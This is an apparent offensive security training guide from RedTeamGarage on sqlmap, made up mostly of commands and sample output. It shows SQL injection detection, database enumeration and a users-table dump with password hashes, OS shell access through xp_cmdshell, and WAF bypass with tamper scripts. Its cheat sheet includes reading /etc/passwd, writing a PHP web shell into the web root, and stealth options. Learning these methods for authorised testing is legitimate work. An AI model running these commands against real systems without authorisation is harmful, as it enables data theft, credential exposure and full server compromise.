



◆ OFFENSIVE SECURITY SERIES ◆

SQLMAP

Detection, Database Dump, OS Shell, File R/W & WAF Bypass

Auto-Detect · DB Dump · OS Shell · File R/W · Tamper · WAF Bypass · Burp

Auto Detect

DB Dump

OS Shell

File Read

File Write

Tamper Scripts

WAF Bypass

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

SQLMAP — Detection, Database Dump, OS Shell, File R/W & WAF Bypass

01.	SQLMAP OVERVIEW & INJECTION DETECTION
02.	DATABASE DUMP & OS SHELL
03.	WAF BYPASS & BURP INTEGRATION
04.	SQLMAP CHEAT SHEET



01 — INJECTION DETECTION

GET Parameter & Technique ID

SQLmap automates detection and exploitation of SQL injection. It supports all major databases, all injection techniques (UNION, error, boolean blind, time blind, stacked), and escalates from data extraction to OS command execution and file read/write.

```

sqlmap - GET Parameter Injection Detection

# Basic GET parameter injection test
(kali)-[~]
kali $ sqlmap -u 'http://10.10.10.100/search?id=1' --batch

      _
     _H_
    _[ ]_ {1.8.1#stable}
   _-| . [ ] _-| . ' | . |
  _-| _ [""]_ _-| _-| _-|
   _-| _-| _-| _-| _-|
      | _IV... | _-| https://sqlmap.org

[09:30:01] [INFO] testing connection to the target URL
[09:30:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:30:01] [INFO] testing if the target URL content is stable
[09:30:02] [INFO] testing if GET parameter 'id' is dynamic
[09:30:02] [INFO] GET parameter 'id' appears to be dynamic
[09:30:02] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[09:30:03] [INFO] GET parameter 'id' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
[09:30:04] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns'

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
Parameter: id (GET)
  Type: error-based
  Payload: id=1 AND EXTRACTVALUE(7660,CONCAT(0x5c,0x716...))
  Type: UNION query
  Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716a7a71,0x4c,...),NULL--

```

Figure: sqlmap confirms error-based and UNION injection in id parameter — MySQL confirmed

02 — DATABASE DUMP

Enumerate + Dump + OS Shell

```

sqlmap - Database Dump & OS Shell

# Enumerate databases
(kali)-[~]
kali $ sqlmap -u 'http://10.10.10.100/search?id=1' --dbs --batch
[09:31:00] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] webapp_db
[*] hr_system

# Dump users table from webapp_db
(kali)-[~]
kali $ sqlmap -u 'http://10.10.10.100/search?id=1' -D webapp_db -T users --dump --batch
[09:31:30] [INFO] fetching entries for table 'users' in database 'webapp_db'
[09:31:30] [INFO] recognized possible password hashes in column 'password'
Database: webapp_db
Table: users
[3 entries]
+-----+-----+-----+-----+
| id | username | password | email |
+-----+-----+-----+-----+
| 1 | admin | $2y$10$Xe4Ug4R1E2abc123def456xyz | admin@target.com |
| 2 | jdoe | 5f4dcc3b5aa765d61d8327deb882cf99 | jdoe@target.com |
| 3 | svc_admin | 8743b52063cd84097a65d1633f5c74f5 | svc@internal.local |
+-----+-----+-----+-----+

# Hash 5f4dcc3b... = "password" (MD5)
# OS shell via SQL injection (MSSQL xp_cmdshell)
(kali)-[~]
kali $ sqlmap -u 'http://10.10.10.100/search?id=1' --os-shell --batch --technique=S
[09:32:00] [INFO] testing if current user is DBA
[09:32:01] [INFO] going to use xp_cmdshell command execution
os-shell> whoami
nt service\mssqlserver

```

Figure: webapp_db users table dumped with hashes, xp_cmdshell gives OS command execution



03 — WAF BYPASS

Tamper Scripts & Burp Request

```

sqlmap - WAF Bypass Tamper + Burp Request

# Tamper scripts - bypass WAF
(kali)-[~]
kali $ sqlmap -u 'http://10.10.10.100/?id=1' --tamper=space2comment,randomcase,between --batch --dbs
[*] starting @ 09:33:00
[09:33:00] [INFO] loading tamper module 'space2comment'
[09:33:00] [INFO] loading tamper module 'randomcase'
[09:33:00] [INFO] loading tamper module 'between'
[09:33:01] [INFO] WAF/IPS detected: generic
[09:33:02] [INFO] Bypassed WAF with tamper scripts
available databases [4]:
[*] webapp_db

# From Burp saved request file
(kali)-[~]
kali $ sqlmap -r burp_request.txt --dbs --batch
[09:34:00] [INFO] parsing HTTP request from 'burp_request.txt'
[09:34:01] [INFO] GET parameter 'search' appears to be injectable
available databases [4]:
[*] webapp_db

```

Figure: Tamper scripts bypass WAF, databases enumerated — Burp request file saves manual work



04 — SQLMAP CHEAT SHEET

Quick Reference

Basic GET test	<code>sqlmap -u 'http://TARGET/?id=1' --batch</code>
POST injection	<code>sqlmap -u 'http://TARGET/login' --data 'user=admin&pass=test' --batch</code>
Cookie injection	<code>sqlmap -u 'http://TARGET/profile' --cookie 'user_id=1' -p user_id --batch</code>
From Burp file	<code>sqlmap -r request.txt --batch</code>
List databases	<code>add --dbs</code>
List tables	<code>add -D DBNAME --tables</code>
List columns	<code>add -D DBNAME -T TABLE --columns</code>
Dump table	<code>add -D DBNAME -T TABLE --dump</code>
Dump all	<code>add --dump-all</code>
OS shell	<code>add --os-shell (xp_cmdshell for MSSQL, UDF for MySQL)</code>
OS command	<code>add --os-cmd=whoami</code>
File read	<code>add --file-read=/etc/passwd</code>
File write	<code>add --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php</code>
WAF bypass	<code>add --tamper=space2comment,randomcase,between</code>
Level/Risk	<code>add --level=5 --risk=3 (most thorough)</code>
Threads	<code>add --threads=10</code>
Random agent	<code>add --random-agent</code>
Via proxy	<code>add --proxy=http://127.0.0.1:8080</code>
Stealth mode	<code>add --delay=1 --random-agent --tamper=space2comment</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.